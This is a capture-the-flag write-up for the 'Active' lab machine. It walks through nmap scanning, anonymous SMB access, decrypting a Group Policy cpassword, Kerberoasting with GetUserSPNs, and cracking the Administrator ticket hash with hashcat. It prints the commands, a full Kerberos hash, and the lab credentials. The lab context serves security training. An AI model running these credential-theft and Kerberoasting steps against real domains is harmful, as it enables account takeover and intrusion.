Output of nmap:

# Nmap 7.94 scan initiated Mon Sep  4 17:39:56 2023 as: /usr/bin/nmap -sCV -p88,135,139,389,445,464,593,636,49152,49153,49154,49155,49157,49158 --open -oN nmap/Script_10.10.10.100.nmap --system-dns --stats-every 2s 10.10.10.100
Nmap scan report for active.htb (10.10.10.100)
Host is up (0.022s latency).

PORT      STATE SERVICE       VERSION
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2023-09-04 15:40:03Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds?
464/tcp   open  tcpwrapped
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open  unknown
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-09-04T15:40:56
|_  start_date: 2023-09-04T15:39:38

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep  4 17:40:57 2023 -- 1 IP address (1 host up) scanned in 60.54 seconds

Using enum4linux-ng, we find an SMB share which allows anonymous login:

$ smbclient.py -no-pass 10.10.10.100

While the Users share is not accessible to us, we can access the Replication share.

We see there is a single folder inside the share. We recursively download it using smbclient.

In this directory, we find /Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml, which contains a cpassword field, which can be decrypted easily.

$ python3 gpp-decrypt.py -f ~/htb/active/smb-replication/Policies/{31B2F340-016D-11D2-945F-00C04FB984F9}/MACHINE/Preferences/Groups/Groups.xml

                               __                                __
  ___ _   ___    ___  ____ ___/ / ___  ____  ____  __ __   ___  / /_
 / _ `/  / _ \  / _ \/___// _  / / -_)/ __/ / __/ / // /  / _ \/ __/
 \_, /  / .__/ / .__/     \_,_/  \__/ \__/ /_/    \_, /  / .__/\__/
/___/  /_/    /_/                                /___/  /_/

[ * ] Username: active.htb\SVC_TGS
[ * ] Password: GPPstillStandingStrong2k18

With the obtained credentials, we can log in onto SMB as the user, and access the Users share:

smbclient -U "active.htb/SVC_TGS%GPPstillStandingStrong2k18" //10.10.10.100/Users

We pull the entire Users folder recursively, but there is nothing interesting inside.

Kerberoasting

This is a very useful cheat sheet when dealing with Active Directory boxes. You enter what you have (e.g., just username, username and password), the service you want to target, and it tells you what tools you are able to run. With this, I discovered I can start Kerberoasting.

$ GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -dc-ip 10.10.10.100 -request
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 21:06:40.351723  2023-09-04 17:40:44.644949



$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$dc5d5dea8e316af3a5fbd129d8ea714b$ed52b53f9a90e76d433880b0ecbd829544004f442eda4ffd4097b121a2524dc4415b875a95767049804e0423361f4340992b1d23f547caa05243941954e5fbe8fae62517f0660f64f45059f0047c007b5612a472f8052ab37592f2056fc403b412cb85d34a45c6c2b88f75721bf25ea5867422666a3344890d5806a6a1480079433428454a515eba58f685010dcd8d2814e1553cd79253423b663e41141f9ecc168578651fde917fe1f1c75e57fcfab994593d76915537715f98791a739308055040fd8190df8de908f607719ff386d1958df3138e5c14dc7bd4200fc6ed18b6fe21c61e1f751bee4f9f8e919d3bdda9c60e46ec6dea412b919abd48fb8cf86393cd0cd5b17ba4e03f72dacd9b4182466abcd8bfc98c874594102950f78a7f8330996f1193717ecac946348359309786347544a51fe8aa69e69d5c775b75528a89bab46f90f31e032b88788130306247d981fa8c3b35e8aecea31bf1619134ffffd33e02f9736354aca1531940a451934898576c8f4761b35040e18c669f86db36b518fccb4da24425d73fd1e93e86b6b76d999a40f9d264bb5176e9f842fe4ffdfab8a64beeb767303fcfbc9e5b0c689f8b595c54ba729b89ddb0bcf0e628160d9228be4ec9c54deafc60f4500f62dfb7046bf5c1936840972919d67ee9dae23cfdf6c15e4608acf24c42c682058b6633f47050c4710712404d40291f4f83ffb6c40ba0b2d28428b95c7668d0d0c37194b4cf8555da4b416dd8231d7312334c2159d7fb800dc1de92f15cf35dd4d94627a374109c8b7e30744e524e6d2251597cb22596158e607574a50e6f22e5232c4d86a0e2d7920f29e3b340785b6f8908496f134c0b44679a2f64f5c60e66a204bb3260e6b7e0f2b08b40ff2ca2460fcc67fde4d0ae9a51c591a4c311390effb4850be09ba9e7af8d0df923df2af111f57e353d13bd9ccf2ffe37fc0229b110c38a509864da24a9618bf38ac02c41a3fee8210c88acb82b855fdf13856a049a346bf061892eb98edf2e736d0bbe269e264ea530760e4de3fd35a467fa4224023d289b1fcf9fec8c709a603e89b0c9a0b77d797e66edb43dcd8574a3a47656a82e99e65a71ebf0c68215cce5fc5322b9b76afe3fd176e1f737c2a0f368f9c36e564fcb1fa755f93c89cd45914f23e25fbe6841c8066899a45c05ff9d2bc40a4b89dc6a07cafb5b69af7f05b1945eba2a864ceb40e97f0b72a27d591f12779b38269edf9853cd9198eea3c0

We now have the hash of the Administrator, which we can crack using hashcat:

$ hashcat -m 13100 --attack-mode 0 hash /usr/share/wordlists/seclists/Passwords/Leaked-Databases/rockyou.txt

Turns out the password is Ticketmaster1968. We can now use SMB to get the root flag:

$ smbclient -U "active.htb/Administrator%Ticketmaster1968" //10.10.10.100/Users